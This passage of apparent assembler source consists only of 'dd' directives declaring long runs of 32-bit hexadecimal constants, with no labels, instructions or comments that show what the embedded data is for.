0F7B2E43Eh, 0B090C587h, 0F184A670h, 5F082DD8h, 4520688Dh dd 9384A2BEh, 0AC4588Ah, 93FD30FCh, 956800D9h, 4CB89005h dd 0C8B9E46Eh, 0DF1812D1h, 0CC08741Dh, 25453145h, 9FCA8001h dd 3C3001F2h, 46442A0Ch, 0BA2600CCh, 43643709h, 0E005ADFh dd 6C6F3CBFh, 60E38C80h, 0E2102947h, 5164F41Ah, 84CEF8h dd 30155C82h, 0B61180CFh, 8788F976h, 80D7B280h, 0F215891Ah dd 0C7740056h, 64B37EB8h, 844FBFDAh, 10F4F850h, 7BF397h dd 0E534F772h, 50C371F5h, 0BAE2F21Fh, 0C1128BD0h, 1C3C0424h dd 0E028F690h, 7440EA4h, 30DDEF78h, 0E8CC5EF8h, 48C11E1h dd 76CA80D3h, 209862D9h, 4680DBBEh, 0BBE48400h, 41401B6Fh dd 0E58C25F4h, 5428A8A0h, 0C4A1696Ah, 8900CBD7h, 2BF4BF59h dd 70AFB8Dh, 0F1D836A8h, 0C0D5D498h, 8BDA0214h, 0FCF0A06Ah dd 0C4233C0Ah, 914C1727h, 0D41B8018h, 0C046742Eh, 70E00B89h dd 1CB1A88Ch, 491856D9h, 8EBBF107h, 60CE66CEh, 0BCB8B3AEh dd 57C00CC3h, 0FF680982h, 0BEC21E13h, 38BFD840h, 58BB54A4h dd 0FAE92CF1h, 0EA96130h, 0C716BF6Fh, 816AC9A4h, 12957B0Ch dd 84D0634Fh, 0D1101240h, 0EA0051E8h, 30CF393Bh, 3D9E29BEh dd 550EF7A7h, 0FBE0E4DCh, 562E1E5Ch, 0B60FAD02h, 4AD559E8h dd 0C3A0C030h, 20C4A4F1h, 44182A5Ch, 676807A8h, 0B471C210h dd 25C1407Eh, 45AC52ABh, 1130B630h, 8894C6CEh, 80049F59h dd 1F0E1630h, 427D81EDh, 0F71472FFh, 0AC3C0A8h, 9F51AFE8h dd 0C023F0h, 0D8EBEAC6h, 516428h, 9A473FBCh, 420956F8h dd 5B7D430Fh, 418080C2h, 0CB199E2h, 12C31E4Fh, 0C7009B41h dd 4C15BC9Dh, 4885E64Ah, 8840063Ah, 0EF7C27C9h, 0B8771CA0h dd 0D498012Ah, 929BE319h, 38FC19h, 0D933FABDh, 57309063h dd 43CF894h, 0CBC56E29h, 0D720C885h, 5D09C09Bh, 63D304AAh dd 880FC0D8h, 0AA1445DFh, 50F0B571h, 49C9FEB7h, 11C09DFCh dd 9B818016h, 2C76C513h, 825086B0h, 0A6E6F7Ch, 0E68D8440h dd 0E5F44054h, 93C7853Eh, 8C8153D5h, 9050F838h, 5C3A9009h dd 0AF0FE8FCh, 0AE06F110h, 651C10F0h, 79F7D6A0h, 0E6A89CD0h dd 0E322127Bh, 0C0C801E8h, 22C91E5Fh, 0F4381848h, 78C44659h dd 20570033h, 3158B377h, 7130061Eh, 97AE51AFh, 7E8958E2h dd 4376F01h, 888ECFD2h, 62F56BA0h, 0C801F876h, 42FC3E53h dd 0C0CBB806h, 3AC9CD49h, 7400C75Eh, 3B25532h, 0A5A8E7h dd 0E2F94DFFh, 481A858Eh, 0AC014B5Fh, 63D616BCh, 20444193h dd 0E94D0D9Ch, 85E28909h, 0BB58EB72h, 663F889Dh, 9A3100FEh dd 76AE016Eh, 3892EA98h, 0FF50C003h, 0FA8C40CDh, 0E3C08019h dd 0F24138CCh, 614E6FEAh, 0BE329160h, 5E1420C8h, 84D03944h dd 69C0E893h, 0BE740A85h, 60EC0050h, 3045347Fh, 6CDE9202h dd 909C9D4Ch, 41A2B08Ch, 0C20730E2h, 710C809Ah, 980B7688h dd 0A82F627Dh, 660506EEh, 2284D420h, 78BB5807h, 89E14438h dd 60BD75F7h, 4983966h, 0A8FC613h, 98FD38C0h, 481C5FE2h dd 0C8C04F48h, 46C6D430h, 5422C4h, 9130C03Eh, 0B4D7B066h dd 84108A4Bh, 8C5AB824h, 23D8EC14h, 3B9F00C8h, 85C90D4Bh dd 9EEA09DDh, 0E0C56914h, 0DE6085C4h, 0D27B1B51h, 0B18FD5Ch dd 65716FB6h, 6057E404h, 4F3DB5Ch, 77C8CE64h, 24C89322h dd 0B2FC7100h, 3C98AA18h, 6A6C2746h, 0D926B804h, 0E2306258h dd 80333019h, 0CE533018h, 7041B0h, 0E3AC4244h, 9323DAE4h dd 0F80BAC90h, 4822040Ah, 83F71B94h, 810974D3h, 20729077h dd 828FC820h, 18A0D866h, 87881D9Eh, 520C403Ah, 0C076E207h dd 66CEAB08h, 7408ACF1h, 388E1809h, 0DA4419F0h, 0FE6FC60Ch dd 99593816h, 1817D17Ch, 0ACB20078h, 0C37508BEh, 9DEB1E57h dd 2C7CFC50h, 65A50883h, 6008E414h, 12E0D1Eh, 7615E304h dd 20F6B6E8h, 9C91B7B0h, 0BC0A9802h, 14CC5031h, 0A04CA6CAh dd 0FE23842h, 9FE7C30h, 5BBA6CB6h, 0F6162861h, 0BF70D85Bh dd 9821047Dh, 951881Ah, 0B7AC4845h, 0DCBC0037h, 0BA967BFDh dd 701CB5A0h, 87253AB0h, 1484066Ch, 5D027492h, 9006B563h dd 4E303A92h, 2F409250h, 989D699Eh, 0D1848391h, 2B03A870h dd 6A033090h, 1389F4Ch, 0E51339F9h, 2ACD8A3Ch, 0E900B86Eh dd 0B0A0E54Eh, 0E8DD1906h, 0B6C684C1h, 432E3B66h, 78A35FF0h dd 5C9C1498h, 241B2000h, 4CF69D21h, 16C87886h, 8E33FE47h dd 0C0128860h, 7517A5DEh, 3858D502h, 82A489D6h, 126CA0A4h dd 550B47Bh, 1CCD58F7h, 6B6A2C72h, 43F40858h, 9FC8CC02h dd 7C08C836h, 1BA0C7Ah, 0B2996871h, 0E80C2A01h, 0F29C3020h dd 76145EC2h, 0CE009846h, 10399EB4h, 0E000E9A8h, 0C14E7E60h dd 1C2487Fh, 0DDE685CFh, 450F33B4h, 905004A0h, 8742485Ch dd 419D1D7Ch, 8D99934Ch, 0B11CD461h, 0F763D0h, 0F14565F6h dd 0C93B9673h, 705DDF02h, 0E885E16Fh, 0FCE70h, 1ECD45B1h dd 74E255B6h, 0B908B333h, 0B1BFD141h, 39C4C0E2h, 2C69C08Eh dd 0F25DF38Bh, 55ABC800h, 0ECB6B04Dh, 34500026h, 19DADE81h dd 7D1208CAh, 0E4409BE1h, 66D5BF6Eh, 0E89203h, 15CD443Eh dd 0D0055FF8h, 717C512h, 565C261Fh, 0A0040B56h, 4C0309EAh dd 8100F19Bh, 9FC95176h, 4288AFAh, 0D23C5C1Fh, 9B4CE0FFh dd 66CCD702h, 0D16DFE95h, 180DD108h, 729A0B33h, 0F80BA378h dd 4EC0146Dh, 29ADFC3h, 547EA4DAh, 35013FCEh, 3428576Dh dd 0B2E2DD80h, 200102Bh, 8DD09045h, 0F8F6FFB5h, 0A8BF26C2h dd 0F4217C98h, 0EDCA80FFh, 6A5F72A3h, 27C6048h, 32B090F0h dd 0FEAC8002h, 1EE5C521h, 2476C4B2h, 24CDC984h, 0F446FC0h dd 0D2A6000Bh, 771D05E4h, 61ED7698h, 0A3B1F70Ch, 735C2109h dd 127A1258h, 8AE2C890h, 56E58028h, 90518Ah, 7DC1C829h dd 0F00030A4h, 645B3320h, 1CA25546h, 8275B623h, 9AB92286h dd 5FC48380h, 3B4B8EE2h dd 2004C040h, 1ECF27h, 0C2CBD0B7h, 0C67A1CEAh, 0D547FE17h dd 0B3EC9601h, 33D5397Eh, 950BAEFCh, 4702E437h, 48707284h dd 0D80ED24h, 4B440F14h, 784EF8D9h, 0AFCB9A00h, 7225FF0h dd 14DD0927h, 40980806h, 410213CAh, 8C8118CBh, 13C0529Eh dd 553277C6h, 1E899848h, 0BE4B865h, 2AFD0067h, 9E0BC24Ch dd 0C8C81E29h, 0EF1B18C0h, 25A63C64h, 3C89D7C2h, 38173C6Ah dd 0B9810C11h, 811AD7D1h, 946B40E9h, 41F83524h, 2AF20C27h dd 21D82925h, 0DA618A07h, 0BA725C22h, 11984817h, 36E92A8Dh dd 57C80888h, 9026146h, 21042B0h, 74EADD66h, 0D79D8F9h dd 9A255718h, 0F27C90FDh, 5F520121h, 61AFC074h, 1CB0F04Eh dd 0D7507E00h, 8EDD2F1Dh, 0C57F3A6Bh, 92176A00h, 39F269D6h dd 0F37E804h, 0D8C0F3E1h, 76C8EBDh, 3D8F38BEh, 5C870903h dd 0D5F150E3h, 0F3033BC0h, 982564F8h, 52934DDh, 0D5180621h dd 2F054927h, 66EA8F1Dh, 6B460280h, 25849710h, 5CD48893h dd 0FE96EC00h, 3830790Ch, 8019DE88h, 4324035h, 4AE68798h dd 0B3E3E517h, 0F36EC04h, 0F29DC4D1h, 1FD73D10h, 0C8F7BE28h dd 8D0A08A6h, 0C81CABE8h, 0D6242h, 7D7AB071h, 88A0A85Ch dd 3497A794h, 0AF801291h, 81BCF9DAh, 0B37A1616h, 0E58101BAh dd 25B56EC4h, 0B19C2310h, 990CFC0Eh, 67348B13h, 60FF830Fh dd 0B65F05A7h, 216133Ch, 2E748498h, 10235Ch, 7A76ED23h dd 54E0C2EFh, 1471DB01h, 8698FEB1h, 2660013Eh, 2A3B628Ch dd 32CE480Fh, 0C6FD9C21h, 0E7CDF0h, 73A1163Eh, 5B5DC049h dd 0DC70D100h, 885F2EF8h, 0CC1A24E3h, 0C8CE82D8h, 0AC62EE6Fh dd 83645CC7h, 0A66BF660h, 0FC10450Fh, 24E6926Ch, 405C9E0h dd 0DD250D00h, 0A2FFAEA9h, 0F0B04E7h, 0F3E08CCEh, 3DC3DC0h dd 0E293ECC6h, 0EBD09897h, 46052B35h, 229803F0h, 0E87C4C24h dd 9C0BD516h, 0B2B983Eh, 990200FCh, 5696C592h, 22CC4758h dd 0D1009923h, 26FF180Fh, 601CD751h, 35EFD3ACh, 0F985A616h dd 844FF004h, 41BB077Bh, 50D0C0FDh, 0B06BBC85h, 0D6B02763h dd 45C0480Eh, 0A6DF3E65h, 83E77612h, 24F9CCC4h, 75037EB8h dd 0BB31586Fh, 1CD7D896h, 941A25E2h, 0C51EF081h, 0C0C18118h dd 0ECD69088h, 9AECFC61h, 0B544FC02h, 1591601Dh, 318F7480h dd 0EA17D184h, 4CB1C81h, 0DC099C8h, 9FDDEC6h, 745E33F1h dd 0AE71A980h, 4EFD4F9Bh, 0C054888Ch, 2E3B7F4Eh, 31B41E01h dd 6896E80Ah, 13C67430h, 0C01FCE8Fh, 2DAE008h, 0D69EE383h dd 0C4648599h, 65336083h, 0B09D95C3h, 60FFF408h, 8CC835A8h dd 0BA3CE00h, 823C1FAh, 0EF25BB0h, 1AA21F64h, 645629F8h dd 4846F88h, 0C8B8FCB0h, 2903FEE4h, 0E1F89F6Ah, 42AF1AEh dd 0F890E475h, 5A057601h, 24231805h, 90DD28B0h, 0E4FD1CF0h dd 211BEE33h, 0EC0F00F4h, 3BBD3475h, 18F18D60h, 0FC239BCh dd 3D60113h, 0E2CE1D60h, 16FCFF25h, 53B0225Dh, 3017B22Ch dd 3B040281h, 56743AF8h, 406B24C8h, 1B1A1096h, 60182B4Ch dd 828BCF74h, 14283CC9h, 0A0006CA2h, 0EBE7782Eh, 7C00C92Ah dd 0A4D6839Ch, 1ECF4Dh, 0C7057A7Bh, 0DDE04FBCh, 8CC30F00h dd 594AC83Ch, 1A9BE2D5h, 887F301Ah, 394A744Ch, 0BA956040h dd 2384A3h, 0F36754B0h, 16480AD2h, 93D84B0Eh, 2BB2E0DDh dd 2C8C758h, 0C298FC2Ah, 44D997F2h, 0AC1858D1h, 8218F600h dd 0F5A7253h, 3FDA25E2h, 38BFF860h, 856C0C02h, 0B121901Ah dd 2420E05Ch, 5CACA420h, 0A8486053h, 0FF43F5ECh, 7971D00h dd 69ED210h, 2C381202h, 501EB070h, 0F1417B7Ch, 4F0A2EEh dd 47D43B2h, 0D4729A70h, 0EC30F851h, 217D8C16h, 0E6B9AA0Ch dd 2FF718A7h, 28026698h, 99429F84h, 0D48AAC78h, 465E8C74h dd 28910086h, 0AF12A634h, 9D4F2576h, 0B0A194A0h, 66800802h dd 6EE03EA8h, 1EC09448h, 5377B5CAh, 0C4D87E03h, 98703928h dd 0F7C88F9Ch, 23402F2Fh, 39410086h, 0FE03E1AEh, 77C8E40Bh dd 0B80509Eh, 0E542E80Bh, 0DE8134E2h, 0D0C12CB6h, 777EC6CDh dd 902ECBCh, 59185E90h, 0BC9B394Ch, 28149011h, 9280E6Ah dd 59ABDECEh, 1854D178h, 0FFA600EBh, 1FBFEA7Ch, 5162E48Dh dd 0A0076621h, 1084E3CCh, 0D3800009h, 0AA7B9990h, 0F924FF0Bh dd 3600984Fh, 0C2236976h, 0D9A10238h, 0E9CE94D6h, 46743C5Ch dd 0D3810187h, 575A9BEAh, 481B4820h, 1E82808Dh, 6E2212C0h dd 0E390401Ch, 0A848093h, 6CD27A26h, 49FEC700h, 297CC13Bh dd 59446943h, 90261886h, 0AFD300A6h, 151FA578h, 6609ED4Fh dd 41CC46B8h, 520810D4h, 7EECFD50h, 0FA73061Ah, 0D1BCF948h dd 1CC61813h, 42DD7565h, 7C01B5E0h, 3C09F864h, 21A987C2h dd 4B803AD0h, 10104113h, 0DD1E53E4h, 0E2CF021Fh, 0D0ADB37Dh dd 0CD20D298h, 0A05EC80Eh, 80AB43A0h, 16507206h, 0A0BD6710h dd 0F5B2DD0Ch, 0E5130F3Ch, 0BFE22FD6h, 80D02454h, 0FCB3883Dh dd 454082BDh, 40204A7Eh, 2692EA6Eh, 7620E505h, 90771946h dd 0CD284A30h, 92A841FCh, 0BA4C003Eh, 0F39B179Dh, 23443A09h dd 4B900059h, 8B3E0B84h, 0B876A80Bh, 0E3E8210Eh, 987DA211h dd 3FCA6C0Bh, 76BD6421h, 0D929F208h, 18547900h, 1637718Eh dd 0B4CA0403h, 0B8981624h, 0DC015541h, 6E7BFCBAh, 80E93A5Ch dd 530689B4h, 17C2B16Dh, 0B46F7CC4h, 9827FDD8h, 0D2B0C3BEh dd 6218C810h, 7BD7422h, 644E08BFh, 0B47247A0h, 8064ACA3h dd 17550446h, 30EC01CCh, 0D529897Eh, 34CC205Eh, 0D0D8FF4Ah dd 61240058h, 0E416AB2Ah, 0EC0455B0h, 0CC470A60h, 1E16C8ACh dd 0BF0020CBh, 9F12567Eh, 782539ADh, 8310000h, 955E5ACh dd 9F4F4551h, 0B077F090h, 3B220h, 75F338BEh, 3CD129E4h dd 83B3BA25h, 0DF37FA6Ch, 498C2F82h, 0B834CE9Ch, 0D40B416Ah dd 9444290h, 61896038h, 9BE8BD5Ch, 7ED40217h, 40567C88h dd 0E012AF6Ch, 0D0B408FAh, 7A84A2F4h, 201AFA00h, 0B0904DE4h dd 16E0B480h, 38953092h, 12DFEDCh, 0F4A0329Dh, 7F37D6h dd 629FDAE4h, 3C0AB981h, 0B2034C5Eh, 0B8A2EEE1h, 25FE33C0h dd 5820C31Eh, 9BA13CBFh, 18129D28h, 8FC96F14h, 847F3A5Ch dd 64A3903Bh, 5C84D8ADh, 943B1782h, 0C7FC0F10h, 0B84A6CBEh dd 5AB0308h, 0F0C80216h, 730B41Ch, 36C93006h, 7A4C1670h dd 88308BBAh, 3889C10Fh, 0C3F441D4h, 69150199h, 84B8D438h dd 8B06008Ch, 45A24E38h, 5727C6CEh, 242861BAh, 0F07E2Fh dd 0DC499C07h, 268B0CEDh, 1D2495FAh, 0C1F02093h, 0E6CFF0A1h dd 0AB12B90Ah, 5A5D68B0h, 736409C3h, 58FE1442h, 0CEA46D27h dd 3EC29AA0h, 7D9018EBh, 0C760FB15h, 911F07FCh, 642B1DBh dd 0E0788871h, 8DC708h, 0D2E25EB0h, 10C2F50Fh, 4BF41B18h dd 57CAE188h, 8BE4137Ah, 0FFF4C470h, 0DD4FA130h, 0C4AD3E00h dd 578BAB9Ch, 36B02E76h, 9A0F8380h, 12D9E231h, 708BC3Fh dd 1D665C3Eh, 0A7C9104Ch, 608744FCh, 47169BFh, 1EB040F7h dd 4244D8C4h, 0D7B40D1Fh, 0C6E20022h, 27773378h, 4500B5CAh dd 0A8FD29B3h, 7EB9CBh, 0F86D815Eh, 76061C04h, 0DCB0D0A4h dd 0B0704802h, 0D297FFDEh, 21EB60E4h, 60ADBCC7h, 7110B569h dd 1859D958h, 1CD1008Bh, 1986F54Dh, 0DA06B2F8h, 0CA238F53h dd 68DE48F6h, 0EAE9C858h, 2CFC1630h, 0DCB0E84Ch, 78B76600h dd 0B9E8296Ah, 7EC99D6h, 0B28D577Ah, 0D05609E0h, 9D4C6D60h dd 776940C0h, 8F26E82Fh dd 0CC085274h, 5FF131Ch, 0ACF33578h, 8C0BEC98h, 0FCDEE481h dd 9E25EB2Fh, 0E67C2045h, 1AABAEh, 0D461CC16h, 0FF5CB115h dd 8D19E200h, 250175A0h, 9A1B0953h, 0B0ABD41Ah, 0E735E84Eh dd 30A89115h, 8C56BCh, 0C20B9D53h, 3A858B76h, 68325431h dd 29805044h, 0A13EB157h, 3901A889h, 12511CBBh, 22DCC9ABh dd 630516D8h, 0E024A65Fh, 7B15382h, 2E3C6338h, 0BAE230DDh dd 0E0C18AABh, 0E8540BBFh, 0BFE07C76h, 2D09EC47h, 651C9EEDh dd 6098E4F8h, 0FA16AB0h, 8D26D035h, 78728309h, 6A4F5C43h dd 25C30174h, 9E500CAAh, 179A2CC8h, 8E23A472h, 0C016C85Ch dd 0BD6C0A67h, 42E8A012h, 7B0E8A0h, 18D60FC6h, 311D36C1h dd 0CC8D5807h, 0A8D0884Eh, 17D6950h, 29C1046Ch, 239DC6DFh dd 3059A224h, 0B30547B8h, 0BDACDBE3h, 0DE88C0C0h, 2703B078h dd 1C60669Fh, 299FB809h, 0E3862C8h, 0AB68F8h, 1AE75AB9h dd 69027E57h, 0AC7A7323h, 7014FB3Eh, 77F8F2C6h, 59994F25h dd 4969DE4h, 0AA54C002h, 14233C3Bh, 0CE43650Eh, 3C048884h dd 249019A0h, 5125C09Eh, 185BD148h, 5FCE0053h, 7CDD8CEDh dd 0C80CB3B6h, 6017EE77h, 414627D7h, 1D40AC6Fh, 9477DA3Ah dd 0A46E2558h, 918C15B5h, 0F4098717h, 0F2FF5E02h, 0DCBCBC08h dd 6C972600h, 791C0914h, 0C04001ABh, 0B8082B7Bh, 0A2A85476h dd 3053F280h, 9A161FE8h, 3CB0A422h, 85E512CCh, 1CE0E3C6h dd 25193A98h, 3A6AE420h, 0A2388h, 0F06ADDD8h, 0EA240D3Ah dd 1E080CABh, 3290826Dh, 0E45C9413h, 9C0248CAh, 0D669B59Bh dd 58465E78h, 1F9017Ch, 25EDE0F2h, 6FA82174h, 88F4040h dd 5CC10E53h, 17000041h, 62E1E5Eh, 0C0A86B0Dh, 0CB1618DBh dd 40DB9747h, 29909180h, 21008B1Dh, 74EC71E6h, 12D49D8Eh dd 5722165Fh, 23283A30h, 457C0E10h, 0C707F001h, 0F4F2F068h dd 3E1C6720h, 0EAD167Fh, 5E828CC0h, 0ED8CC112h, 0D91B54A3h dd 7FA259E2h, 6495D4C4h, 0A3D00EE4h, 0D980C29Fh, 170665DCh dd 3A78B658h, 4D0DCD2h, 0A147846h, 0E5EC8Ch, 31BBEC93h dd 0E730881h, 7202BF74h, 1E45C9CEh, 5745AFFh, 0D56E5CB6h dd 0B1D0E0A7h, 20D0085Ch, 39BD24EDh, 94221E39h, 14E8905Eh dd 189E28Ch, 0F165E84Dh, 2B3E8FC6h, 0D4350083h, 884288F9h dd 0F677C604h, 0E3F8AC14h, 9B594F3Ah, 6BD88164h, 9840BEF8h dd 60D61437h, 1FDD2107h, 105E02E2h, 0E1759C00h, 703D4FB1h dd 29FC1F4Bh, 453F8E4Eh, 1CB3499Fh, 42487087h, 0FC7EC940h dd 34C0D49Ch, 4E69AFC1h, 8B504B11h, 63BD21E8h, 29340F12h dd 18032127h, 4A53F917h, 0ACF8C448h, 4C05D3E8h, 4CECBABFh dd 3B8C0CB8h, 4202F350h, 0A00A9811h, 0ED77B0F0h, 54CC484Fh dd 73061540h, 0C71ED091h, 0CA4BBFB8h, 81C834A0h, 9CCFCCDBh dd 5729E600h, 55096EC0h, 51EC34AEh, 0D1FCA914h, 50C1852h dd 9072FB68h, 8F20F44Eh, 0B8C08D40h, 0EF6C0900h, 7071D2DBh dd 36B0A18Fh, 9084D0E0h, 7E6D0796h, 24CD4C11h, 0E1B8F598h dd 59E0E8DBh, 621ED527h, 793CD94Ch, 74185Bh, 596A0466h dd 96482088h, 5A6C2639h, 10E0EC16h, 70A49D1Ch, 64E253FAh dd 0CB3084F2h, 79B601FDh, 0AAE07661h, 8F598219h, 2B270D86h dd 87914495h, 38AEE080h, 0E4BB8AAh, 0E6987C8Ch, 20C29534h dd 73E95856h, 6ECE5000h, 0E2ECF00Fh, 58E09470h, 7E54029Fh dd 72A97598h, 0CFDA2F50h, 0F7381C40h, 1CE3A9C0h, 16EA6B0h dd 8DB0EFAh, 6A1E5298h, 40515401h, 0F3E5C09Ch, 0A1F05C76h dd 0F15B0FE4h, 82C8888Bh, 59F7A9C0h, 8C2A4BCBh, 560F4C00h dd 13C5E4E6h, 22F814C0h, 84109704h, 1A95C69Ah, 77086898h dd 98FC0448h, 797E48Eh, 0B850F985h, 7167BC6h, 0B95FC0F2h dd 0CC30C28Eh, 3C081C56h, 50C42D40h, 8F043F73h, 0FD0C6BB6h dd 9807C88Dh, 6FC6FE00h, 44025BB2h, 1FFBB6A4h, 8D4E3D41h dd 2830B333h, 0C8055A12h, 0C4BBFD7Ch, 5F3093F1h, 35800997h dd 4285A771h, 7FA4A067h, 33DF1A00h, 37BD1460h, 359F02B0h dd 467B279Ch, 839B0C40h, 1808CA80h, 0B1E77A90h, 8A753F41h dd 7498D67Fh, 0DDA28505h, 34B9BAD5h, 4E0F78ADh, 0CC2C249Dh dd 48C0DACh, 0E802161Ch, 6C7ABA21h, 0F120E900h, 66E68EB3h dd 0FEC83B1Dh, 8C691E18h, 0C5DF0DD1h, 2FB17E44h, 0F410583Eh dd 0B201DCFFh, 4737BE9Eh, 48F09CC0h, 0B27944A3h, 842E1728h dd 71BC82C2h, 0D5E4BC56h, 19C80C8Fh, 30C12FC4h, 60181CBh dd 82202871h, 74FF5F1Ch, 0AD03DE5Ch, 8F6A5B28h, 663E88D7h dd 0A9B0868h, 0A6067F84h, 0DF791FC2h, 3100239h, 0A8482280h dd 6EF82DDDh, 465E1CB4h, 0EF7D0157h, 0CB7E056Bh, 9C1DFEF4h dd 0CBAC1254h, 0C058C838h, 0E359E74Ah, 67638C00h, 16C8C71Eh dd 0C898950Ah, 8BF5E677h, 7A444C68h, 82C0006Ch, 0DD8C4518h dd 4302E425h, 0D2E25FFDh, 58E850A7h, 8E04ACCEh, 0E1D3D432h dd 0AC6E2EA0h, 0C22A2009h, 590F5071h, 632201Dh, 0BDEB8Fh dd 76379787h, 48C854ACh, 13CF1F80h, 80FEB808h, 3CBF1DE0h dd 0B3BA5518h, 97CF01E0h, 5391101Dh, 0ABC0D084h, 0F07B5444h dd 0A2408105h, 79007F44h, 0CD41A3BDh, 0FA573Bh, 2BC2F8A0h dd 0FB6EDEEFh, 0DD591A00h, 19A155E5h, 0F2014ECFh, 0DB586234h dd 5790CA9Dh, 1811241Dh, 4CBD7880h, 9CA8FE86h, 379FC3E4h dd 0E4DF87B8h, 0A0743782h, 4CB1E63h, 770621C5h, 0CA845C1Eh dd 2DAB858Fh, 0E2A43264h, 4DBF3015h, 0CE04A673h, 32DCAE0h dd 5A3848C2h, 6F9D2C88h, 0E2D3002Fh, 1FB3AB30h, 120DD638h dd 0FCFD916Eh, 2100ECB8h, 7D9F2C3Ch, 97C21EF2h, 0CB62AC20h dd 0F20BAEAh, 8D100990h, 0A060B8E8h, 925B9FC6h, 6B56C405h dd 9AB8D4F9h, 0D609701h, 0F123BAE4h, 0F639688Ch, 6A008BF1h dd 36AAB4E5h, 555C951h, 582BBC1Eh, 806CB89Dh, 18984F33h dd 45110E35h, 56E0EFCFh, 0DAB67640h, 34DF7A00h, 4FC0C6CBh dd 9B4C19DBh, 48D4618Bh, 0DF1FFEE4h, 7C00A10Bh, 1F3C8CB5h dd 1E4103C1h, 4547CB2Eh, 2839B98Eh, 817339FBh, 17D35EB5h dd 0AC59081h, 643A3871h, 842FBAE0h, 9E019923h, 385DC34Ch dd 73603AE4h, 4284B85h, 0ABEF4454h, 420ACC38h, 0B88C48CFh dd 0F4008C5Ah, 0DD1057E7h, 55E90CBh, 3A983656h, 8E0F9D4h dd 1E9357DAh, 3D002239h, 13BB3ACAh, 279A1E48h, 68E06822h dd 84061CCCh, 0E5C2BD72h, 47B23C40h, 5577C1C0h, 0E0DCDD25h dd 2508BF48h, 0B4C2E253h, 1EC0846Fh, 5F8426CDh, 0FC18C616h dd 0E3FFC638h, 78E58D59h, 2FB43A31h, 0B116E816h, 0B96029D0h dd 0BBDC30h, 0D7318476h, 0BF0E432Bh, 0C7527E01h, 7CC35C71h dd 766C2F2Bh, 0F21E48Ch, 1A6A0D7h, 68F2F6h, 2D7B4CE3h dd 9D9E6F7Ch, 50E49C8Bh, 3B8EBF00h, 2554B2B0h, 0DB083F63h dd 3ED9BA85h, 1BCF2E6h, 29E37CF6h, 2E08A75h, 442A40ACh dd 92C5449h, 27F67446h, 0E5802C64h, 0E85251h, 0AE4FA065h dd 0D0BFA9B2h, 6E3D1C0Fh, 29870B3Ch, 4404720Ch, 222E0623h dd 0C67BCA5h, 0C9E5F8C3h, 883BB3D2h, 0C70756CCh, 3A9BBEE2h dd 0F902606h, 5C1C67ACh, 0E39CB9A0h, 2902E5CCh, 0EBCAE4D1h dd 80EC5C94h, 7643CB75h, 0ACBA6A98h, 0B8D2665Fh, 80C0FC38h dd 1B78CFD5h, 82007E6Ah, 4CBB09F1h, 0EEF6747h, 5E75BD71h dd 0C728541h, 0E280845Dh, 4CD0A7DAh, 13663F92h, 0B27E5420h dd 25612D0h, 0E280CCACh dd 841A857Dh, 8F32A8A8h, 54710124h, 44C11E42h, 6F7CA004h dd 0FFB72069h, 680AF80Ch, 0FCCA7940h, 1A9A80A8h, 0E400C04Eh dd 8D139EEAh, 9C0152E9h, 0A0189D2Fh, 0A0973B78h, 0E7E449BCh dd 682F627h, 0B8129D7Ch, 6F7D4828h, 0FF0B5501h, 0F9E8FC6h dd 881B2424h, 0DC0ECDC2h, 0C0D68E41h, 641DAC31h, 74A701F0h dd 0A5BBE855h, 11B9813Bh, 4F3FB80Bh, 6FDC046Ah, 0EA8E29Ah dd 320A9C2Eh, 0A2B5ECACh, 3057B2A8h, 8B01B4BAh, 6C315439h dd 58856ADEh, 0D16EE097h, 540AB67Ch, 5C2FBB80h, 0AC000B23h dd 3915E497h, 0C22FFB3Dh, 620E9218h, 0C5E871DEh, 605BE474h dd 6ECE58h, 804124BBh, 907BD16Bh, 0B64C5AFAh, 3A9A82E4h dd 12C8DC40h, 4A04E3B3h, 58B20CB2h, 723D730h, 410D434Fh dd 0C84485D3h, 6900ECE8h, 4E28822h, 96D9E3h, 4CD157D2h dd 0D7177559h, 0C863DF2Ch, 258C4B08h, 3702C8F8h, 813A2AF1h dd 8FCC6043h, 1E4B49Dh, 1E90762Ch, 283C0Dh, 8B5DDC93h dd 9F4C3AE3h, 34704C09h, 0C28309Fh, 3113003Eh, 0A3A474E0h dd 85099E22h, 10D6342Bh, 0B5AF98h, 0D045ECD2h, 97FB9992h dd 0DF5EAB00h, 0B66E3A88h, 0D98B25D4h, 0E0944CE6h, 86FCEC5Eh dd 0AEC1B000h, 7EBEFD93h, 14BB01A2h, 0FA4EE0FEh, 44982B97h dd 18D6784Ch, 10609677h, 9797CE59h, 24EDA750h, 8F908B40h dd 609513F5h, 0FC940B2Ah, 9273CC82h, 0F745A8D6h, 64FDB052h dd 0C813A1B8h, 0ACF35F36h, 0CCCE9A06h, 9CC059B7h, 0C1EDE00Ah dd 0D934B997h, 3CB91855h, 4C249586h, 0A500DEA4h, 0CEC523F6h dd 25F1B403h, 8E4C350h, 8AE0FC40h, 44289455h, 0E0358DBDh dd 10E8595Fh, 0AB7C0E80h, 0B10B6454h, 80F2F079h, 188DF762h dd 597705E2h, 0C1C492BCh, 22234C8h, 60485ED2h, 4FC51EF1h dd 0CF7F04Ah, 0CC9DC0A1h, 0ADB01589h, 0A75EE000h, 25FEC783h dd 0E5230122h, 15CDE785h, 1F54E406h, 4FC40797h, 1C928CC4h dd 80D47CD7h, 6B86262Eh, 0D6047A2Bh, 394DA132h, 1E80A4h dd 463DEA2Ch, 0AA069068h, 0B0E95F12h, 91AE804h, 0DE911801h dd 0B8203D69h, 0B5E687h, 0A1F3FF6Bh, 9061367Ah, 0F25C47Eh dd 30D8C9B6h, 2F655C42h, 210CAFE0h, 7D02CECAh, 5BC2E233h dd 8878D493h, 0FC3A4DF4h, 50801F4Bh, 1EE0456h, 0C74FA3E0h dd 38ACBBBCh, 0EC7E2CD4h, 0C02ECE00h, 58BE77C6h, 925004h dd 0FC96E058h, 811207B8h, 70E0780Fh, 5F4416BEh, 0C8608B14h dd 6154C00Eh, 725CE284h, 33D41A08h, 0A138F9B0h, 0FFF5702Ch dd 4A050086h, 0D877B7F3h, 973F2F35h, 10544A01h, 0D7210414h dd 20ABC66Dh, 22B877F4h, 9E889BFh, 137C525Ch, 914115D7h dd 2EFEE3C0h, 0DA2F3C2Dh, 0AE698764h, 80E1A990h, 0A71E042Ch dd 0AA097FA6h, 5701787Bh, 0F6B09683h, 6FC834ECh, 54E0E669h dd 824674B8h, 0A8879803h, 69000566h, 0A21F47FBh, 206F10h dd 0D3D73E44h, 2529FC8h, 0B218F8B9h, 521EC681h, 690EBCD7h dd 0CF8936A2h, 35E9045Ch, 0B45B80F8h, 51AA14E5h, 0DEC63802h dd 